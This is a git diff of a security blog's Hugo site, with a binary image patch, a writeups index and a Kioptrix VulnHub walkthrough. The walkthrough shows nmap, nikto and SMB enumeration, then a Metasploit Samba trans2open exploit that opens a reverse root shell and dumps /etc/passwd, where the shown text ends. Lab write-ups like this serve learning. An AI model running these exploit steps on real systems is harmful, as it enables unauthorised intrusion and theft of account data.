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 Rw62dst0-zbDwMYj`!D;CG$#N6 literal 0 HcmV?d00001 diff --git a/writeups/basic-pentesting/site_hu5817122507507008340.webp b/writeups/basic-pentesting/site_hu5817122507507008340.webp new file mode 100644 index 0000000000000000000000000000000000000000..5ac76d40b32812a17a3bef182d4a0814037298ce GIT binary patch literal 4374 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 · SecureCircuit +

    Writeups

    A writeup is a document which describes the process in which a puzzle / problem was solved.

    These puzzles or problems are generally from CTFs or from vulnerable machines

    CTF Writeups #

    These writeups are solutions to past CTF challenges.

    A CTF or Capture The Flag is an event where a puzzle is provided. The puzzle will reveal a flag or a special sequence of text which proves that you were able to solve the CTF.

    CTF writeups detail the process and thinking methodology used to solve a CTF

    Vulnerable Machine Writeups #

    A vulnerable machine writeup describes how a vulnerable machine was exploited and gained access to. It may also contain remedies.

    These writeups are usually for machines found on TryHackMe or HTB.

    These writeups go over the penetration testing methodology and show the sequence of events that lead to a machine being pwned

    2024


    2023


    \ No newline at end of file diff --git a/writeups/index.xml b/writeups/index.xml new file mode 100644 index 0000000..a5fce3c --- /dev/null +++ b/writeups/index.xml @@ -0,0 +1 @@ +Writeups on SecureCircuithttps://your_domain.com/writeups/Recent content in Writeups on SecureCircuitHugoenThu, 04 Jan 2024 18:18:45 +0530Basic Pentestinghttps://your_domain.com/writeups/basic-pentesting/Thu, 04 Jan 2024 18:18:45 +0530https://your_domain.com/writeups/basic-pentesting/A writeup of TryHackMe&rsquo;s Basic Pentesting RoomKioptrixhttps://your_domain.com/writeups/kioptrix/Fri, 11 Aug 2023 08:11:37 +0530https://your_domain.com/writeups/kioptrix/ \ No newline at end of file diff --git a/writeups/kioptrix/index.html b/writeups/kioptrix/index.html new file mode 100644 index 0000000..c6316bd --- /dev/null +++ b/writeups/kioptrix/index.html @@ -0,0 +1,361 @@ +Kioptrix · SecureCircuit +
    1. Writeups/

    Kioptrix

    ·2524 words·12 mins

    Kioptrix is a vulnerable machine from VulnHub.

    Setup #

    Once we have downloaded the files from Vulnhub, we can import the virtual machine into either Virtual Box or VmWare.

    The virtual machine should be configured to be on the same sub-net as our attacker.

    At this point, I suggest that you stop reading and take a crack at the box yourself if you haven’t already. If you get stuck at any point, use this guide as hint.

    Scanning and Enumeration #

    Since we are the only other machine on the network in this setup, we can use the network’s broadcast address to send a ping to all machines on the network and the machine which responds will be the victim.

    ┌──(kali㉿kali)-[~/Documents/Kioptrix]
    +└─$ ping 10.0.2.255 -b 
    +WARNING: pinging broadcast address
    +PING 10.0.2.255 (10.0.2.255) 56(84) bytes of data.
    +64 bytes from 10.0.2.4: icmp_seq=1 ttl=255 time=1.80 ms
    +64 bytes from 10.0.2.4: icmp_seq=2 ttl=255 time=1.78 ms
    +64 bytes from 10.0.2.4: icmp_seq=3 ttl=255 time=1.71 ms
    +64 bytes from 10.0.2.4: icmp_seq=4 ttl=255 time=1.34 ms
    +64 bytes from 10.0.2.4: icmp_seq=5 ttl=255 time=0.753 ms
    +64 bytes from 10.0.2.4: icmp_seq=6 ttl=255 time=1.74 ms
    +64 bytes from 10.0.2.4: icmp_seq=7 ttl=255 time=1.34 ms
    +

    From the above, we can clearly see that in my case the client is at 10.0.2.4.

    Now that we have the client’s IP address, we can jot this down to our notes and start running scans to see what type of services our clients might be running and on what machine.

    Running a NMAP scan gets us a good insight into what is running on the host. For simplicity’s sake some of the lines have been removed or shortened.

    ┌──(kali㉿kali)-[~/Documents/Kioptrix]
    +└─$ nmap -sS -A -p- -T4 -oA nmap/scan_report 10.0.2.4
    +# Nmap 7.94 scan initiated Sat Aug  5 15:57:56 2023 as: nmap -sS -A -p- -T4 -oA nmap/scan_report 10.0.2.4
    +Nmap scan report for 10.0.2.4
    +Host is up (0.0011s latency).
    +Scanned at 2023-08-05 15:58:10 IST for 34s
    +Not shown: 65529 closed tcp ports (reset)
    +PORT      STATE SERVICE     VERSION
    +22/tcp    open  ssh         OpenSSH 2.9p2 (protocol 1.99)
    +| ssh-hostkey: 
    +|   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
    +| 1024 [SHORTENED]
    +|   1024 8f:8e:5b:81:ed:21🆎c1:80:e1:57:a3:3c:85:c4:71 (DSA)
    +| ssh-dss AAAAB3NzaC1kc3MAA[SHORTENED]
    +|   1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
    +|_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAvv8UUWsrO7+VCG/rTWY72jElft[SHORTENED]
    +|_sshv1: Server supports SSHv1
    +80/tcp    open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
    +| http-methods: 
    +|   Supported Methods: GET HEAD OPTIONS TRACE
    +|_  Potentially risky methods: TRACE
    +|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
    +|_http-title: Test Page for the Apache Web Server on Red Hat Linux
    +111/tcp   open  rpcbind     2 (RPC #100000)
    +| rpcinfo: 
    +|   program version    port/proto  service
    +|   100000  2            111/tcp   rpcbind
    +|   100000  2            111/udp   rpcbind
    +|   100024  1          32768/tcp   status
    +|_  100024  1          32770/udp   status
    +139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
    +443/tcp   open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
    +|_ssl-date: 2023-08-05T19:58:48+00:00; +9h30m04s from scanner time.
    +| http-methods: 
    +|_  Supported Methods: GET HEAD POST
    +| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--/localityName=SomeCity/emailAddress=root@localhost.localdomain/organizationalUnitName=SomeOrganizationalUnit
    +| Issuer: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--/localityName=SomeCity/emailAddress=root@localhost.localdomain/organizationalUnitName=SomeOrganizationalUnit
    +| Public Key type: rsa
    +| Public Key bits: 1024
    +| Signature Algorithm: md5WithRSAEncryption
    +| Not valid before: 2009-09-26T09:32:06
    +| Not valid after:  2010-09-26T09:32:06
    +| MD5:   78ce:5293:4723:e7fe:c28d:74ab:42d7:02f1
    +| SHA-1: 9c42:91c3:bed2:a95b:983d:10ac:f766:ecb9:8766:1d33
    +| -----BEGIN CERTIFICATE-----
    +[REMOVED]
    +|_-----END CERTIFICATE-----
    +|_http-title: 400 Bad Request
    +| sslv2: 
    +|   SSLv2 supported
    +|   ciphers: 
    +|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
    +|     SSL2_DES_64_CBC_WITH_MD5
    +|     SSL2_DES_192_EDE3_CBC_WITH_MD5
    +|     SSL2_RC4_128_WITH_MD5
    +|     SSL2_RC4_64_WITH_MD5
    +|     SSL2_RC4_128_EXPORT40_WITH_MD5
    +|_    SSL2_RC2_128_CBC_WITH_MD5
    +|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
    +32768/tcp open  status      1 (RPC #100024)
    +MAC Address: 00:50:56:3C:7A:ED (VMware)
    +Device type: general purpose
    +Running: Linux 2.4.X
    +OS CPE: cpe:/o:linux:linux_kernel:2.4
    +OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
    +TCP/IP fingerprint:
    +OS:SCAN(V=7.94%E=4%D=8/5%OT=22%CT=1%CU=40725%PV=Y%DS=1%DC=D%G=Y%M=005056%TM
    +OS:=64CE245C%P=x86_64-pc-linux-gnu)SEQ(SP=C1%GCD=1%ISR=CC%TI=Z%CI=Z%II=I%TS
    +OS:=7)OPS(O1=M5B4ST11NW0%O2=M5B4ST11NW0%O3=M5B4NNT11NW0%O4=M5B4ST11NW0%O5=M
    +OS:5B4ST11NW0%O6=M5B4ST11)WIN(W1=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0%W6=16
    +OS:A0)ECN(R=Y%DF=Y%T=40%W=16D0%O=M5B4NNSNW0%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A=
    +OS:S+%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=16A0%S=O%A=S+%F=AS%O=M5B4ST11N
    +OS:W0%RD=0%Q=)T4(R=Y%DF=Y%T=FF%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=FF%
    +OS:W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=FF%W=0%S=A%A=Z%F=R%O=%RD=0%Q=
    +OS:)T7(R=Y%DF=Y%T=FF%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=FF%IPL=164%
    +OS:UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=FF%CD=S)
    +
    +Uptime guess: 0.009 days (since Sat Aug  5 15:45:04 2023)
    +Network Distance: 1 hop
    +TCP Sequence Prediction: Difficulty=193 (Good luck!)
    +IP ID Sequence Generation: All zeros
    +
    +Host script results:
    +|_smb2-security-mode: Couldn't establish a SMBv2 connection.
    +| p2p-conficker: 
    +|   Checking for Conficker.C or higher...
    +|   Check 1 (port 10637/tcp): CLEAN (Couldn't connect)
    +|   Check 2 (port 50108/tcp): CLEAN (Couldn't connect)
    +|   Check 3 (port 20871/udp): CLEAN (Failed to receive data)
    +|   Check 4 (port 43005/udp): CLEAN (Timeout)
    +|_  0/4 checks are positive: Host is CLEAN or ports are blocked
    +| nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
    +| Names:
    +|   KIOPTRIX<00>         Flags: <unique><active>
    +|   KIOPTRIX<03>         Flags: <unique><active>
    +|   KIOPTRIX<20>         Flags: <unique><active>
    +|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
    +|   MYGROUP<00>          Flags: <group><active>
    +|   MYGROUP<1d>          Flags: <unique><active>
    +|   MYGROUP<1e>          Flags: <group><active>
    +| Statistics:
    +|   00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
    +|   00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
    +|_  00:00:00:00:00:00:00:00:00:00:00:00:00:00
    +|_clock-skew: 9h30m03s
    +|_smb2-time: Protocol negotiation failed (SMB2)
    +
    +TRACEROUTE
    +HOP RTT     ADDRESS
    +1   1.06 ms 10.0.2.4
    +
    +Read data files from: /usr/bin/../share/nmap
    +OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    +# Nmap done at Sat Aug  5 15:58:44 2023 -- 1 IP address (1 host up) scanned in 48.35 seconds
    +

    I’ve gone ahead and highlighted most of the crucial information. Things like version numbers, ports and the services should be in our notes.

    Now that we have an idea of what is running on our machines we can start investigating more closely.

    Since we have a HTTP/HTTPS server, we can start a nikto scan along with feroxbuster.

    ┌──(kali㉿kali)-[~/Documents/Kioptrix]
    +└─$ nikto -h 10.0.2.4
    +

    For feroxbuster we will need to provide a wordlist of directories to search, luckily Kali comes prepared with a wordlists located at usr/share/wordlists/dirbuster/.

    ┌──(kali㉿kali)-[~/Documents/Kioptrix]
    +└─$ feroxbuster -u http://10.0.2.4/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
    +

    Now these scans should take a while, so in the mean time, we can do a little manually ennumeration by checking out the web pages through the browser.

    Navigating to the site we can see a default Apache install page. This could potentially lead to some vulnerability due to the default Apache configuration, and should be taken note of.

    The NMAP scan also revealed that our host has SMB installed, however it didn’t give us any information on what version. +We can make use of Metasploit module to find the SMB version

    msf6 auxiliary(scanner/smb/smb_version) > exploit 
    +
    +[*] 10.0.2.4:139          - SMB Detected (versions:) (preferred dialect:) (signatures:optional)
    +[*] 10.0.2.4:139          -   Host could not be identified: Unix (Samba 2.2.1a)
    +[*] 10.0.2.4:             - Scanned 1 of 1 hosts (100% complete)
    +[*] Auxiliary module execution completed
    +

    We can also check if there are any file shares we can access without proper credentials by attempting an annoymous login with smbclient.

    +We need more than one set of ‘\’ since bash escapes them

    -L is used to list the shares.

    ┌──(kali㉿kali)-[~]
    +└─$ smbclient -L \\\\10.0.2.4\\\\
    +Server does not support EXTENDED_SECURITY  but 'client use spnego = yes' and 'client ntlmv2 auth = yes' is set
    +Anonymous login successful
    +Password for [WORKGROUP\kali]:
    +
    +        Sharename       Type      Comment
    +        ---------       ----      -------
    +        IPC$            IPC       IPC Service (Samba Server)
    +        ADMIN$          IPC       IPC Service (Samba Server)
    +Reconnecting with SMB1 for workgroup listing.
    +Server does not support EXTENDED_SECURITY  but 'client use spnego = yes' and 'client ntlmv2 auth = yes' is set
    +Anonymous login successful
    +
    +        Server               Comment
    +        ---------            -------
    +        KIOPTRIX             Samba Server
    +
    +        Workgroup            Master
    +        ---------            -------
    +        MYGROUP              KIOPTRIX
    +

    So, it looks like there is one share ADMIN$ (we can generally ignore IPC$). Trying to connect to the admin share fails, however it is important to note its existance as there might be something to look at during post exploitation or even during the exploitation stages.

    Let’s take a look at the results of our HTTP server scans. +Personally the feroxbuster scan didn’t reveal that much due to some bugs, however nikto revealed a lot of information.

    $ nikto -h 10.0.2.4 
    +- Nikto v2.5.0
    +---------------------------------------------------------------------------
    ++ Target IP:          10.0.2.4
    ++ Target Hostname:    10.0.2.4
    ++ Target Port:        80
    ++ Start Time:         2023-08-06 12:00:58 (GMT5.5)
    +---------------------------------------------------------------------------
    ++ Server: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
    ++ /: Server may leak inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Thu Sep  6 08:42:46 2001. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
    ++ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
    ++ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
    ++ /: Apache is vulnerable to XSS via the Expect header. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3918
    ++ OpenSSL/0.9.6b appears to be outdated (current is at least 3.0.7). OpenSSL 1.1.1s is current for the 1.x branch and will be supported until Nov 11 2023.
    ++ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
    ++ mod_ssl/2.8.4 appears to be outdated (current is at least 2.9.6) (may depend on server version).
    ++ OPTIONS: Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE .
    ++ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
    ++ Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution.
    ++ Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system.
    ++ Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi.
    ++ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell.
    ++ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
    ++ /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS). See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0835
    ++ /manual/: Directory indexing found.
    ++ /manual/: Web server manual found.
    ++ /icons/: Directory indexing found.
    +
    +
    +
    ++ ERROR: Error limit (20) reached for host, giving up. Last error: error reading HTTP response
    ++ Scan terminated: 19 error(s) and 18 item(s) reported on remote host
    ++ End Time:           2023-08-06 12:07:50 (GMT5.5) (412 seconds)
    +---------------------------------------------------------------------------
    ++ 1 host(s) tested
    +

    This scan reveals quite a few attack vectors.

    1. The remote buffer overflow leading to a remote shell
    2. Reading /etc/shadow and cracking hashes

    Now I wanted to have the 2nd option running in the background while I look for other options to gain access. However when I tried to access ///etc/hosts like Nikto did, I got a 404 error.

    After a little bit of googling along the lines of nikto ///etc/hosts, I stumbled on this Github issue: https://github.com/sullo/nikto/issues/497.

    It seems like since the box returns web pages with 127.0.0.1 at the bottom, nikto assumes this is part of the hosts file and gives us a false positive.

    Research #

    At this point, it looks like our only option is the remote buffer overflow in mod_ssl (https://www.exploit-db.com/exploits/47080), however we still have to check in on the other oudated services (Apache, Samba).

    Looking for vulnerabilities in Apache was pretty lack luster for me, though Samba delivered this: https://www.exploit-db.com/exploits/16861

    Now this is wonderful, an exploit from Metasploit.

    Exploitation #

    We have identified 2 possible remote code execution attack vectors.

    Samba Vulnerability #

    The exploit we are looking for is /exploit/linux/samba/trans2open. I had some trouble getting a staged payload to work, so I went with the unstaged reverse TCP payload (set payload /payload/...)

    msf6 exploit(linux/samba/trans2open) > exploit
    +
    +[*] Started reverse TCP handler on 10.0.2.15:4444 
    +[*] 10.0.2.4:139 - Trying return address 0xbffffdfc...
    +[*] 10.0.2.4:139 - Trying return address 0xbffffcfc...
    +[*] 10.0.2.4:139 - Trying return address 0xbffffbfc...
    +[*] 10.0.2.4:139 - Trying return address 0xbffffafc...
    +[*] 10.0.2.4:139 - Trying return address 0xbffff9fc...
    +[*] 10.0.2.4:139 - Trying return address 0xbffff8fc...
    +[*] 10.0.2.4:139 - Trying return address 0xbffff7fc...
    +[*] 10.0.2.4:139 - Trying return address 0xbffff6fc...
    +[*] Command shell session 1 opened (10.0.2.15:4444 -> 10.0.2.4:32782) at 2023-08-11 10:42:02 -0400
    +whoami
    +root
    +cat /etc/passwd
    +root:​x:0:0:root:/root:/bin/bash
    +bin:​x:1:1:bin:/bin:/sbin/nologin
    +daemon:​x:2:2:daemon:/sbin:/sbin/nologin
    +adm:​x:3:4:adm:/var/adm:/sbin/nologin
    +lp:​x:4:7:lp:/var/spool/lpd:/sbin/nologin
    +sync:​x:5:0:sync:/sbin:/bin/sync
    +shutdown:​x:6:0:shutdown:/sbin:/sbin/shutdown
    +halt:​x:7:0:halt:/sbin:/sbin/halt
    +mail:​x:8:12:mail:/var/spool/mail:/sbin/nologin
    +news:​x:9:13:news:/var/spool/news:
    +uucp:​x:10:14:uucp:/var/spool/uucp:/sbin/nologin
    +operator:​x:11:0:operator:/root:/sbin/nologin
    +games:​x:12💯games:/usr/games:/sbin/nologin
    +gopher:​x:13:30:gopher:/var/gopher:/sbin/nologin
    +ftp:​x:14:50:FTP User:/var/ftp:/sbin/nologin
    +nobody:​x:99:99:Nobody:/:/sbin/nologin
    +mailnull:​x:47:47::/var/spool/mqueue:/dev/null
    +rpm:​x:37:37::/var/lib/rpm:/bin/bash
    +xfs:​x:43:43:X Font Server:/etc/X11/fs:/bin/false
    +rpc:​x:32:32:Portmapper RPC user:/:/bin/false
    +rpcuser:​x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
    +nfsnobody:​x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
    +nscd:​x:28:28:NSCD Daemon:/:/bin/false
    +ident:​x:98:98:pident user:/:/sbin/nologin
